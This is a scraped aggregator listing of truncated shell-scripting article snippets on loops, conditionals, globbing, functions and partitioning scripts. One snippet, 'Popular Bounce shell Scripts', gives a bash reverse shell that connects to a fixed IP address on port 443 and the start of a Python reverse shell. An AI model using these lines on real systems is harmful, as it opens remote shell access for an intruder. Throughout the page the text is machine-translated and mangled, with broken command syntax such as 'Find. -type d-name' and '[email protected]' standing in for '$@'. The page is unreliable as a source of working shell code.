Example of shell concurrent programming in Linux

In Python, there are many modules that enable concurrent programming, such as threading, processing, Eventlet, and Stackless python. So how does it work for the shell? In fact, the principle is very simple, I used the method is:1. The tasks that

Shell Bulk Delete directory under specified directory

Take. SVN example For example, if I want to delete all the. SVN directories under/data/web/, then execute the following command. The code is as follows Copy Code Cd/data/webFind. -type d-name ". SVN" |xargs RM-RVF

Linux Shell Command Learning notes (i)

To get the server IP shell script: The code is as follows Copy Code #!/bin/bashIfconfig | grep ' inet addr: ' | Grep-v ' 127.0.0.1 ' |cut-d:-f2 | awk ' {print '} ' Download Whole Station WGET-MK

Shell Judgment Statement--Example interpretation

1 if statementThe format of the IF statement:If condition then command fiIf condition then command else command fiIf condition then command elif condition then command else command fiExample:Determines whether the current user is root, and if so,

Special symbols in the shell

* Multiple? 1 x# annotation Characters\ de-Righteous characters| Pipe character$ as a prefix for variables, used for variables!$ using the last parameter of the previous command; Used in the middle of two commands to write in one line~ User's Home

Shell's For loop

To the basic structure of the For loop:The condition of the for variable name in the loop;CommandDoneExample 1[email protected] ~]# cat for1.sh#/bin/bashFor i in ' SEQ 1 5 ';d oEcho $iDoneThe "condition of the loop" here can be written as a set of

Function of Shell programming

Functions: functionProgram Programming: Code ReuseModular programmingStructured programmingThe code of an independent function as a whole, and a name for it; a named code snippet, which is a function;Note: The code snippet that defines the function

Shell Programming (iv) globbing

Globbing: File name wildcard (whole file name match, not part)Match pattern: metacharacters*: matches any character of any lengthpa*, *pa*, *pa, *p*a*PA, PAA, passwd?: matches any single characterPa??? PA, P?a, P?a?PA, PAA, passwd[]: matches any

Shell Script's Shell exercises summary

Organized a number of shell-related exercises, recorded here.1. Please follow the date format xxxx-xx-xx to generate a daily file, for example: The file generated today is 2013-09-23.log, and the use of the disk is written to this file.1 #!/bin/bash2

Shell Syntax format

Shell Syntax formatIf statementIf conditionThenCommand sequenceFiIf conditionThenCommand sequenceElseCommand sequenceFiIf conditionThenCommand sequenceElif conditionsThenCommand sequenceElif conditionsThenCommand sequenceElseCommand

Command Shell's knowledge collation

CMD is also a shell of Shell windowns.View files and folders dirmkdir * * * Create folder Rd* * Delete folder (should have parameters, recursion, etc.)Ctr+c Abort Commandcd>***.** Creating a file del filename Type + relative path view

Shell generates random numbers within a specified range

#!/bin/bashread-p "Please enter the number of start:" Minread-p "Please enter the number of terminations:" Maxif [$min-gt $max]thenecho "Start number is greater than the number of terminations! "Elseecho-n" random number: " ; expr $ (date +%n)% $[

Partition script in "Shell" Linux

The day after tomorrow to reply, today only brush a question, have not written out, but want to update the blog, so only to write the previous things posted out.A shell script for partitioning1 #!/bin/Bash #指定脚本解释器路径 2 echo "Initial a disk ..." 3

Shell Programming Basics must know

Shell programming################################################Static languageDynamic language################################################Programming languages: Machine language, assembly language, advanced languages############################

Shell scripting Exercises (12.7)

Example 1. Enter any two numbers and make a judgmentVI number.sh#!/bin/bash#written by Lizhengecho "Please enter the number"Read aRead Bif test $a-eq $bThen echo "The No.2"Elif Test $a-gt $bThen echo "The > no.2"else echo "The Fi650) this.width=650;

Shell Common syntax

#!/bin/bashecho "**********argument**********"Echo Script Name: $Echo First argument $echo second argumentecho num of argument $#echo all argument [email protected]#functionEqual (){Case $ in$)return 0;;*)Return 1;;Esac}#ifecho "**********test if****

Popular Bounce shell Scripts

Bash Shell Bounce Script/bin/bash-i >/dev/tcp/10.211. 55.11/443012>&1Python Shell Bounce Script# !/usr/bin/python # This is a Python reverse shell script Import socket,subprocess,os;s=socket.socket (socket.af_inet,socket. SOCK_STREAM); S.connect (("1

Shell script re-mounts the problematic volume

#!/bin/bash#卷的全路径示例#pathexample =mount-t Cetusfs 127.0.0.1:/cinderv/var/lib/cinder/volumes/0f6a20f4d81ed9db37f2a87260dd7181Volumespath= ' Df-h |awk ' {print$1$6} ' |grep volumes ' #获取卷路径pathrow= ' Df-h |awk ' {print$1$6} ' |grep volumes|wc-l '

Java invoke shell script

In the actual project, Java sometimes needs to call C write out of things, in addition to JNI, I think a better way is Java call the shell. First write the C to make the executable file, and then write a shell script to execute the executable file,

Enterprise Shell interview questions: Get 51CTO Blog list Reverse sort exam questions

#!/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binHTMLFILE=/home/oldboy/htmlHTTP=http://oldboy.blog.51cto.com/all/2561410NUM=$(curl $HTTP |awk-F "[ /]"‘/页数/ {print $(NF-3)}‘)[ -d $HTMLFILE ]||mkdir$HTMLFILE -pecho

Total Pages: 541 1 .... 497 498 499 500 501 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.